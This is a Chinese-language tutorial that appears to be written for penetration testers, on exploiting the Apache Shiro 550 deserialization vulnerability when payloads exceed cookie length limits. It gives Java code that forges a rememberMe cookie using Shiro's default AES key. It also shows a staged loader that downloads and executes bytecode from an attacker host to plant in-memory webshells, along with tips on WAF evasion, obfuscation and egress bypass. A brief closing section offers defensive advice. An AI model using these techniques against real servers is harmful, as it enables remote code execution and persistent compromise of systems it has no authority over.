1. 项目概述当Shiro 550遇上超长Payload在Shiro 550反序列化漏洞的实战利用中尤其是当我们精心构造的Java反序列化链比如结合CommonsCollections或ROME等Gadget越来越复杂时一个令人头疼的问题会频繁出现Payload太长了。无论是通过rememberMeCookie传递还是尝试其他注入点服务端对请求参数的长度限制就像一道无形的墙常常导致我们的精心构造的攻击载荷在传输途中就被无情截断返回一个令人沮丧的“无效”或“超长”错误。这不仅仅是Shiro框架本身Cookie解码的限制更是Web容器如Tomcat、Jetty和前端网络设备如WAF、负载均衡器对HTTP头部长度的普遍约束。这个问题困扰过很多从基础利用向深度利用进阶的安全研究员和渗透测试人员。你可能会想能不能把链子写短一点但现实是为了实现某些特定功能如内存马注入、复杂命令执行、绕过防御链子的复杂度往往降不下来。这时我们就需要转换思路不是缩短Payload本身而是想办法让它“变小”或“分段”传输。这正是本次要深入探讨的两种核心进阶技巧GZIPBase64压缩编码与HTTP Body分阶段加载。前者像是一个高效的“压缩软件”将庞大的Payload体积大幅缩减后者则像“化整为零”的物流策略把大件拆成多个包裹分批送达。掌握它们你就能突破长度限制让更强大的攻击成为可能。2. 核心思路与方案选型背后的考量面对Payload过长的问题我们首先要理解限制究竟来自哪里才能对症下药。Shiro 550漏洞的经典利用方式是将序列化后的恶意对象进行AES加密然后Base64编码最终放入rememberMeCookie中。这个流程中长度瓶颈主要出现在两个环节HTTP头部长度限制主流Web服务器和代理对单个HTTP头部字段如Cookie有长度限制通常在4KB到16KB之间。超长的Cookie会被直接丢弃或截断。Shiro自身解码缓冲区虽然Shiro的解码逻辑理论上能处理较长的Base64字符串但在某些配置或版本下也可能存在隐性的缓冲区限制。因此我们的解决方案必须围绕“如何在有限的空间内传递更多信息”或“如何改变信息传递的方式”来展开。下面两种方案各有其适用场景和优劣。2.1 方案一GZIPBase64压缩编码技术这个方案的思路非常直观既然原始序列化字节流太大我们就先用压缩算法把它“压扁”然后再进行Base64编码和传输。由于Java反序列化Payload特别是由多个Transformer和InvokerTransformer构成的复杂链中存在大量重复的类名、方法名和常量使用GZIP这类压缩算法通常能获得非常可观的压缩比经常能将Payload体积减少60%甚至更多。为什么选择GZIP而不是其他压缩算法首先Java标准库java.util.zip中内置了对GZIP格式的支持无需引入任何第三方依赖这在攻击利用的泛用性上至关重要。其次GZIP在压缩文本和序列化数据这类重复性高的内容时效率很高。最后它的解压速度也很快服务端在收到Payload后可以迅速完成解压并反序列化不影响漏洞触发的实时性。该方案的潜在风险与考量压缩虽然能减小体积但Base64编码本身会使数据膨胀约33%。所以我们需要评估“压缩节省的空间”是否大于“Base64膨胀的空间”。对于高度冗余的Java序列化数据压缩收益通常非常明显。另一个考量是某些WAF或IDS可能会检测经过GZIP压缩的流量特征但将其嵌套在正常的HTTPS加密流量和Shiro的AES加密层之内被直接检测到的概率相对较低。2.2 方案二HTTP Body分阶段加载技术当Payload即使经过压缩仍然超出限制或者目标环境对Cookie长度有极其严格的限制时我们就需要更激进的方案。分阶段加载的核心思想是“延迟加载”或“远程加载”。我们不把完整的恶意类字节码或复杂的反序列化链全部放在初始Payload里而是只放置一个“引导程序”。这个“引导程序”Stage 1 Payload非常短小精悍它的唯一使命就是在目标服务器的JVM中执行起来然后通过网络从我们控制的服务器上动态加载后续真正的恶意代码Stage 2 Payload。常见的实现方式是利用URLClassLoader、defineClass方法或者利用某些链本身支持从远程URL加载字节码的特性。为什么选择分阶段加载它的最大优势是突破了单次请求的长度天花板。初始Payload可以做得非常小只包含最核心的加载逻辑。复杂的部分被移到了HTTP Body或其他请求参数中而HTTP Body的长度限制通常远大于HTTP头部可达数MB甚至更多或者通过多次请求来完成。这种方式也增强了攻击的灵活性我们可以随时更新Stage 2的Payload而无需重新构造和发送Stage 1。该方案的复杂性与挑战分阶段加载的实现比单纯压缩要复杂得多。首先你需要一个公网可访问的服务器来托管Stage 2的Payload。其次Stage 1的引导链必须稳定可靠并且能在目标环境可能存在网络策略限制中成功发起对外HTTP请求。最后整个过程的网络交互更多被网络层防御设备发现的概率也会增加。提示在实际渗透测试中我通常会优先尝试GZIP压缩方案因为它改动小、兼容性好。只有当压缩后仍超限或者需要部署非常复杂的内存马时才会考虑使用分阶段加载。3. GZIPBase64压缩编码实战详解理论说完了我们来动手实现。假设我们已经有了一个能执行命令的CommonsCollections1链的序列化字节数组originalPayload。3.1 压缩与编码过程以下是完整的Java代码示例展示了如何将原始Payload进行GZIP压缩、AES加密使用Shiro的默认密钥、最后进行Base64编码。import java.util.zip.GZIPOutputStream; import java.util.Base64; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; import java.security.Key; public class ShiroPayloadCompressor { // Shiro 1.2.4及之前版本的默认AES密钥 private static final byte[] DEFAULT_KEY Base64.getDecoder().decode(kPHbIxk5D2deZiIxcaaaA); public static String generateCompressedRememberMeCookie(byte[] originalPayload) throws Exception { // 1. 使用GZIP压缩原始Payload ByteArrayOutputStream byteStream new ByteArrayOutputStream(); try (GZIPOutputStream gzipStream new GZIPOutputStream(byteStream)) { gzipStream.write(originalPayload); } byte[] compressedPayload byteStream.toByteArray(); System.out.println([*] 原始长度: originalPayload.length , 压缩后长度: compressedPayload.length , 压缩比: String.format(%.1f%%, (1 - (double)compressedPayload.length/originalPayload.length)*100)); // 2. 使用Shiro默认密钥进行AES加密 (CBC模式, PKCS5Padding) Key key new SecretKeySpec(DEFAULT_KEY, AES); Cipher cipher Cipher.getInstance(AES/CBC/PKCS5Padding); cipher.init(Cipher.ENCRYPT_MODE, key); // 注意Shiro会自己处理IV这里我们模拟其行为通常使用全零IV或随机IV但Shiro在解密时会忽略我们提供的IV而使用自己的逻辑。 // 为简单起见这里不手动添加IV实际Shiro的加密器会处理。 byte[] encryptedPayload cipher.doFinal(compressedPayload); // 3. 进行Base64编码 String rememberMeCookie Base64.getEncoder().encodeToString(encryptedPayload); System.out.println([*] 最终RememberMe Cookie长度: rememberMeCookie.length() 字符); return rememberMeCookie; } public static void main(String[] args) throws Exception { // 假设这是你的原始反序列化Payload字节数组 // byte[] originalPayload generateCommonsCollections1Payload(calc); // String cookie generateCompressedRememberMeCookie(originalPayload); // System.out.println(rememberMe cookie); } }关键步骤解析与注意事项GZIP压缩我们使用GZIPOutputStream包裹一个ByteArrayOutputStream。将原始Payload写入GZIP流后它会自动完成压缩并输出到字节数组。务必在try-with-resources语句中或手动关闭GZIP流以确保压缩数据被正确刷新。AES加密这里使用了Shiro默认的硬编码AES密钥。在真实攻击中你需要根据目标Shiro版本确定密钥。加密模式为CBC填充为PKCS5Padding。一个极其重要的坑是Shiro的加密/解密代码中可能会在加密数据前拼接一个随机生成的IV初始化向量。但在我们构造攻击Payload时通常直接使用全零IV或与密钥相关的固定值因为Shiro在解密时有时会从密文块中提取IV有时又使用固定的逻辑。为了最大化兼容性一些工具会直接模仿Shiro的AbstractRememberMeManager类的加密过程。如果你发现加密后的Payload不成功需要检查IV的处理是否与目标Shiro版本匹配。Base64编码这是最后一步将加密后的二进制数据转换为可安全放在HTTP Cookie中的字符串。3.2 服务端解压流程推测与适配我们的Payload到达服务端后Shiro会反向执行这个过程Base64解码 - AES解密 - 。这里有一个关键点标准的ShiroAbstractRememberMeManager在解密后会直接尝试反序列化解密后的数据它不会自动尝试解压GZIP格式。因此为了让服务端能正确处理我们压缩过的Payload我们需要对Payload本身进行“包装”。也就是说我们压缩的不仅仅是反序列化链而是一个“知道如何解压自己”的链。这通常通过改造反序列化Gadget来实现。一种常见的实现思路是构造一个特殊的TemplatesImpl链或利用BeanFactory链其中包含的字节码是一个“解压执行器”。这个“解压执行器”的代码逻辑是读取自身后面的压缩数据用GZIPInputStream解压然后通过defineClass加载并执行。这样当Shiro反序列化这个初始Gadget时就会触发“解压执行器”的运行从而加载并执行我们真正的压缩后Payload。这听起来有点绕实际上就是创造了一个两层的嵌套结构外层一个标准的、较短的反序列化链其最终动作是执行一段内置的字节码解压器。内层被GZIP压缩的真正恶意字节码作为数据附着在外层之后。这种方式对Gadget的构造能力要求更高但它是实现“透明压缩”的关键。一些高级的Shiro利用工具如某些版本的shiro-attack或ysoserial的变种已经内置了这种能力。实操心得在测试GZIP压缩方案时务必先在本地搭建与目标环境相同版本的Shiro进行验证。直接使用网上的压缩Payload可能会因为版本差异导致的IV处理、类加载器问题而失败。一个稳妥的方法是先生成一个不压缩的、能正常工作的Payload然后尝试用上述代码压缩并在本地验证其是否仍能触发。如果失败问题很可能出在IV或Gadget的兼容性上。4. HTTP Body分阶段加载技术深入剖析当“压缩”这条路走到头时“分阶段加载”就是我们的王牌。其原理模型如下攻击者服务器 (http://attacker.com/) | | 托管 Stage 2 Payload (如: shell.jar 或 raw bytecode) | v 目标服务器 ---(HTTP请求)--- Stage 1 Payload (短小精悍的加载器) | | 执行 Stage 1从 attacker.com 下载 Stage 2 | v 在目标JVM中加载并执行 Stage 2 (如: 内存Webshell)4.1 Stage 1 Payload加载器的构造Stage 1的核心任务是建立一个从目标服务器到我们控制服务器的网络连接并加载远程字节码。我们可以利用现有的反序列化链来实现这个功能。示例利用CommonsCollections链构造URLClassLoader假设目标存在CommonsCollections漏洞我们可以构造一个链其最终效果是执行类似如下的Java代码// 伪代码描述最终执行的动作 URL[] urls new URL[]{new URL(http://attacker.com/shell.jar)}; URLClassLoader ucl new URLClassLoader(urls, Thread.currentThread().getContextClassLoader()); Class? clazz ucl.loadClass(Exploit); clazz.newInstance();通过ysoserial等工具我们可以将这样的代码执行逻辑编织进一个Transformer数组里。这个生成的Payload通常不会太长。更隐蔽的方式利用TemplatesImpl加载远程字节码对于支持TemplatesImpl的链如ROME链我们可以直接将Stage 2的字节码作为_bytecodes属性设置进去。但这里有个技巧我们可以让_bytecodes指向一个非常小的、仅负责网络下载的“二级加载器”。这个“二级加载器”再去下载最终Payload。这样Stage 1的_bytecodes就非常短。// Stage 1 中的 TemplatesImpl 字节码简化版下载器 public class Stage1Loader extends AbstractTranslet { public Stage1Loader() throws Exception { // 从远程下载Stage 2字节码 URL url new URL(http://attacker.com/stage2.bin); byte[] stage2Bytes readBytesFromStream(url.openStream()); // 使用当前类加载器定义并加载类 defineAndInvokeClass(stage2Bytes); } // ... 省略 readBytesFromStream 和 defineAndInvokeClass 方法实现 }4.2 Stage 2 Payload的托管与交付Stage 2就是你最终想执行的恶意代码比如一个冰蝎或哥斯拉的内存马。你需要将其编译成class文件然后将其字节码数组或打包成JAR托管在一个Web服务器上。注意事项HTTP服务器配置确保服务器返回正确的Content-Type如application/octet-stream并且没有设置会干扰字节码下载的HTTP头如Content-Encoding: gzip除非你的加载器能处理。避免缓存可以在URL中添加随机参数如?t123456来防止代理或服务器缓存旧的恶意代码。使用HTTPS如果目标服务器出站流量受限可能只允许HTTPS你需要准备一个有效的SSL证书或使用自签名证书并在加载器中忽略证书验证。Payload编码有时为了绕过简单的流量检测可以将Stage 2的字节码进行Base64编码后托管然后在加载器中先解码再加载。4.3 完整攻击链示例与调试假设我们已有一个Stage 1的加载器Payloadstage1.ser以及一个托管在http://vps-ip:8080/cmd.jar的Stage 2 JAR文件。攻击步骤将stage1.ser进行AES加密和Base64编码放入rememberMeCookie发起请求。目标服务器反序列化stage1.ser执行其中的代码。Stage 1代码运行创建URLClassLoader尝试从http://vps-ip:8080/cmd.jar加载类EvilClass。你的VPS收到HTTP请求返回JAR文件。目标服务器加载EvilClass并执行其构造函数或静态块中的代码内存马注入成功。调试技巧在Stage 1的代码中加入简单的回显例如尝试在响应中输出Loaded from remote以确认Stage 1是否成功执行。在你的VPS上使用nc -lvp 8080或python3 -m http.server 8080启动一个简易HTTP服务器观察是否有来自目标IP的访问请求。这是判断Stage 1是否触发网络连接的最直接方式。使用Wireshark或tcpdump在VPS上抓包分析HTTP请求的完整细节确保没有因为User-Agent、Host头等问题被拦截。5. 常见问题、排查技巧与防御旁路在实际利用过程中你肯定会遇到各种问题。下面是我踩过的一些坑和对应的解决方案。5.1 GZIP压缩方案常见问题问题1压缩后的Payload仍然过长。排查检查原始Payload是否已经最简。有些ysoserial生成的Payload包含大量无关的类信息可以尝试使用更精简的Gadget如CommonsBeanutils1通常比CommonsCollections系列短或者手动优化序列化链。解决考虑结合压缩和分阶段加载。用压缩缩短Stage 1加载器的长度。问题2Payload在本地测试成功但打目标失败。排查密钥错误确认目标Shiro版本使用的AES密钥。除了默认密钥还有空密钥、自定义密钥等多种情况。使用工具进行密钥爆破。IV处理不一致这是最隐蔽的问题。使用Java调试工具或对比Shiro源码看目标版本在解密时是如何处理IV的。尝试在加密时显式地添加一个全零IV块在密文前。JDK版本差异高版本JDK如8u251限制了某些反序列化Gadget的类可能导致失败。需要寻找绕过高版本限制的新链。问题3WAF拦截了请求。排查虽然Cookie内容被AES加密但Base64字符串可能存在固定模式。一些WAF会检测过长的、特定模式的rememberMeCookie值。解决分割Cookie尝试将超长的Cookie值拆分成多个Cookie字段如rememberMe1,rememberMe2但这需要服务端能正确处理通常不可行。参数污染将Payload放在其他POST参数中并修改利用链使其从HttpServletRequest的其他参数中读取并解密Payload。这需要对Gadget有更深的理解和定制能力。5.2 分阶段加载方案常见问题问题1目标服务器无法访问外网。排查这是分阶段加载最大的障碍。Stage 1的加载器发出HTTP请求后你的服务器没有收到任何连接。解决DNS隧道如果DNS流量能出去可以尝试使用DNS协议来传输数据。这需要更复杂的Stage 1加载器实现DNS查询和解析响应。内部网络代理如果目标在内网但能访问某个内部Web服务可以尝试攻陷该服务作为中转。回连让Stage 1尝试连接攻击者监听的端口反向Shell思路但这同样需要出网。问题2ClassLoader问题导致Stage 2加载失败。排查错误信息可能是ClassNotFoundException或NoClassDefFoundError。解决确保URLClassLoader使用的父类加载器是正确的。通常使用Thread.currentThread().getContextClassLoader()作为父加载器兼容性更好。如果Stage 2依赖其他JAR包需要将它们一起打包或者创建一个嵌套的ClassLoader结构。对于TemplatesImpl方式确保字节码格式完全正确并且类是完全自包含的不依赖太多外部类。问题3HTTP请求被目标主机防火墙或安全策略拦截。排查你的VPS收到了TCP SYN包但没有后续或者直接收到RST。解决使用常见端口尝试使用80、443、8080等常见Web端口。HTTPS使用HTTPS协议加载器需要处理SSL。可以先用一个信任所有证书的TrustManager来快速验证。域名与IP尝试使用域名而非IP地址有些策略会过滤直接IP访问。5.3 高级技巧结合与混淆技巧1GZIP压缩 分阶段加载对于极其复杂的Payload可以将其压缩后作为Stage 2托管。Stage 1加载器下载压缩包在内存中解压后再加载。这样既减少了Stage 2传输的体积又保留了分阶段突破长度限制的优点。技巧2Payload编码混淆在Base64编码前可以对加密后的字节数组进行简单的XOR或字节位移混淆以规避基于固定AES模式或Base64特征的静态检测。当然这需要在Stage 1或服务端解密逻辑中有对应的反混淆步骤如果可控。技巧3动态密钥协商在极端情况下可以尝试利用反序列化漏洞先在目标服务器上植入一个简单的“密钥接收器”然后通过第二次请求传递加密密钥再用该密钥加密真正的Payload进行第三次请求。这实现了动态密钥规避了静态密钥检测但大大增加了交互复杂度。最后必须强调所有这些技术都用于安全研究、授权测试和防御构建。作为防御方应对Shiro 550漏洞的根本方法是及时升级到已修复的Shiro版本。如果暂时无法升级应全局重写RememberMeManager的加密密钥为高强度随机值并考虑使用WAF规则对序列化流量进行深度检测以及部署RASP运行时应用自我保护产品来拦截恶意的反序列化行为。攻击技术的演进永不停歇防御的视野也需要同样开阔。